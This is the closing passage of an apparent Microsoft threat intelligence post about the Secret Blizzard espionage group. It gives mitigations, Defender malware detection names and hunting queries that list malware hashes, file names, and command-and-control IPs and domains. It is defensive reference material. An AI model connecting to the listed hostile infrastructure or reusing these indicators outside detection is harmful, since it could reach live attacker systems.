• Ensure tamper protection is enabled in Microsoft Defender for Endpoint
• Run endpoint detection and response in block mode so that Microsoft Defender for Endpoint can block malicious artifacts even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques
• Turn on Microsoft Defender Antivirus real-time protection

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts
• Turn on and monitor PowerShell module and script block logging
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects this threat as the following malware: 

• Backdoor:Win64/Wainscot
• Backdoor:MSIL/CrimsonRat.A
• Backdoor:MSIL/CrimsonRat.B
• TrojanSpy:MSIL/CrimsonRat.A
• TrojanDownloader:Win64/TwoDash
• Trojan:MSIL/ReverseRAT
• Trojan:Win32/TinStrut.A
• Trojan:Win64/TinyTurla.A
• Trojan:Win64/TinyTurla.B
• Trojan:Win32/MiniPocket.A
• TrojanDownloader:Win64/TwoDash.A
• Trojan:Win64/TwoDash.B
• Trojan:Win64/PostGallery.A
• Trojan:Win32/Statuezy.B
• Trojan:Win32/TinyTurla

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Secret Blizzard Actor activity detected

The following alerts might also indicate threat activity related to this threat. Note, however, these alerts also can be triggered by unrelated threat activity. 

• An executable file loaded an unexpected DLL file
• Process loaded suspicious .NET assembly

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence to get more information about this threat actor.

Microsoft Defender Threat Intelligence

• Secret Blizzard co-opts SideCopy’s infrastructure to target Afghanistan government

Hunting queries  

Microsoft Defender XDR

The following sample queries let you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential PowerShell-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Storm-0156 compromise-associated malware

Surface events that may have involved Storm-0156 compromise-associated malware.

let fileHashes = dynamic(["e298b83891b192b8a2782e638e7f5601acf13bab2f619215ac68a0b61230a273", "08803510089c8832df3f6db57aded7bfd2d91745e7dd44985d4c9cb9bd5fd1d2", "aba8b59281faa8c1c43a4ca7af075edd3e3516d3cef058a1f43b093177b8f83c", "7c4ef30bd1b5cb690d2603e33264768e3b42752660c79979a5db80816dfb2ad2", "dbbf8108fd14478ae05d3a3a6aabc242bff6af6eb1e93cbead4f5a23c3587ced", "7c7fad6b9ecb1e770693a6c62e0cc4183f602b892823f4a451799376be915912", "e2d033b324450e1cb7575fedfc784e66488e342631f059988a9a2fd6e006d381", "C039ec6622393f9324cacbf8cfaba3b7a41fe6929812ce3bd5d79b0fdedc884a", "59d7ec6ec97c6b958e00a3352d38dd13876fecdb2bb13a8541ab93248edde317"
]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.  

Search for file-based IOCs:

let selectedTimestamp = datetime(2024-10-17T00:00:00.0000000Z); 
let fileName = dynamic(["hubstck.exe","auddrv.exe","lustsorelfar.exe","duser.dll","mfmpef.exe","MpSvcS.dll","WinHttpSvc.dll","regsvr.exe"]); 
let FileSHA256 = dynamic(["e298b83891b192b8a2782e638e7f5601acf13bab2f619215ac68a0b61230a273","08803510089c8832df3f6db57aded7bfd2d91745e7dd44985d4c9cb9bd5fd1d2","aba8b59281faa8c1c43a4ca7af075edd3e3516d3cef058a1f43b093177b8f83c","7c4ef30bd1b5cb690d2603e33264768e3b42752660c79979a5db80816dfb2ad2","dbbf8108fd14478ae05d3a3a6aabc242bff6af6eb1e93cbead4f5a23c3587ced","7c7fad6b9ecb1e770693a6c62e0cc4183f602b892823f4a451799376be915912","e2d033b324450e1cb7575fedfc784e66488e342631f059988a9a2fd6e006d381","C039ec6622393f9324cacbf8cfaba3b7a41fe6929812ce3bd5d79b0fdedc884a","59d7ec6ec97c6b958e00a3352d38dd13876fecdb2bb13a8541ab93248edde317"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, 
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) 
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from October 17th runs the search for last 90 days, change the selectedTimestamp or 90d accordingly. 
and  
(FileName in (fileName) or OldFileName in (fileName)  or ProfileName in (fileName)  or InitiatingProcessFileName in (fileName)  or InitiatingProcessParentFileName in (fileName)  
or InitiatingProcessVersionInfoInternalFileName in (fileName)  or InitiatingProcessVersionInfoOriginalFileName in (fileName)  or PreviousFileName in (fileName)  
or ProcessVersionInfoInternalFileName in (fileName) or ProcessVersionInfoOriginalFileName in (fileName) or DestinationFileName in (fileName) or SourceFileName in (fileName)
or ServiceFileName in (fileName) or SHA256 in (FileSHA256)  or InitiatingProcessSHA256 in (FileSHA256))

Search for network IOCs:

let selectedTimestamp = datetime(2024-10-17T00:00:00.0000000Z);
let ip = dynamic(["94.177.198.94","162.213.195.129","46.249.58.201","95.111.229.253","146.70.158.90","143.198.73.108","161.35.192.207","91.234.33.48","154.53.42.194","38.242.207.36",
"167.86.118.69","164.68.108.153","144.91.72.17","130.185.119.198 ","176.57.184.97","173.212.252.2","209.126.11.251","45.14.194.253","37.60.236.186","5.189.183.63","109.123.244.46"]);
let url = dynamic(["connectotels.net","hostelhotels.net",”ur253.duckdns.org”]);
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceInfo,DeviceNetworkEvents,DeviceNetworkInfo,DnsEvents,SecurityEvent,VMConnection,WindowsFirewall)
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from October 17th runs the search for last 90 days, change the above selectedTimestamp or 90d accordingly.
and 
(RemoteIP in (ip) or DestinationIP in (ip) or DeviceCustomIPv6Address1 in (ip) or DeviceCustomIPv6Address2 in (ip) or DeviceCustomIPv6Address3 in (ip) or DeviceCustomIPv6Address4 in (ip) or 
MaliciousIP in (ip) or SourceIP in (ip) or PublicIP in (ip) or LocalIPType in (ip) or RemoteIPType in (ip) or IPAddresses in (ip) or IPv4Dhcp in (ip) or IPv6Dhcp in (ip) or IpAddress in (ip) or 
NASIPv4Address in (ip) or NASIPv6Address in (ip) or RemoteIpAddress in (ip) or RemoteUrl in (url))

Indicators of compromise

Storm-0156 compromise-associated malware

References

• https://attack.mitre.org/groups/G1008/
• https://attack.mitre.org/groups/G0134/
• https://blog.lumen.com/snowblind-the-invisible-hand-of-secret-blizzard/
• https://securelist.com/the-epic-turla-operation/65545/
• https://www.darkreading.com/endpoint-security/upgraded-kazuar-backdoor-offers-stealthy-power
• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
• https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
• https://attack.mitre.org/groups/G0010/
• https://symantec-enterprise-blogs.security.com/threat-intelligence/waterbug-espionage-governments
• https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021 ver 4 – nsa.gov.pdf
• https://attack.mitre.org/software/S1074/
• https://attack.mitre.org/software/S1075/
• https://attack.mitre.org/software/S1076/
• https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/
• https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
• https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
• https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
• https://www.welivesecurity.com/2018/01/09/turlas-backdoor-laced-flash-player-installer/
• https://blog.talosintelligence.com/tinyturla/
• https://www.sentinelone.com/labs/transparent-tribe-apt36-pakistan-aligned-threat-actor-expands-interest-in-indian-education-sector/
• https://www.trendmicro.com/en_dk/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
• https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/
• https://attack.mitre.org/software/S0668/
• https://blog.talosintelligence.com/tinyturla/#:~:text=Cisco%20Secure%20Malware%20Analytics%20(Threat%20Grid)
• https://www.darkreading.com/cyberattacks-data-breaches/russian-hackers-using-iranian-apt-s-infrastructure-in-widespread-attacks
• https://www.securityweek.com/russian-turla-cyberspies-leveraged-other-hackers-usb-delivered-malware/

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Frequent freeloader part I: Secret Blizzard compromising Storm-0156 infrastructure for espionage appeared first on Microsoft Security Blog.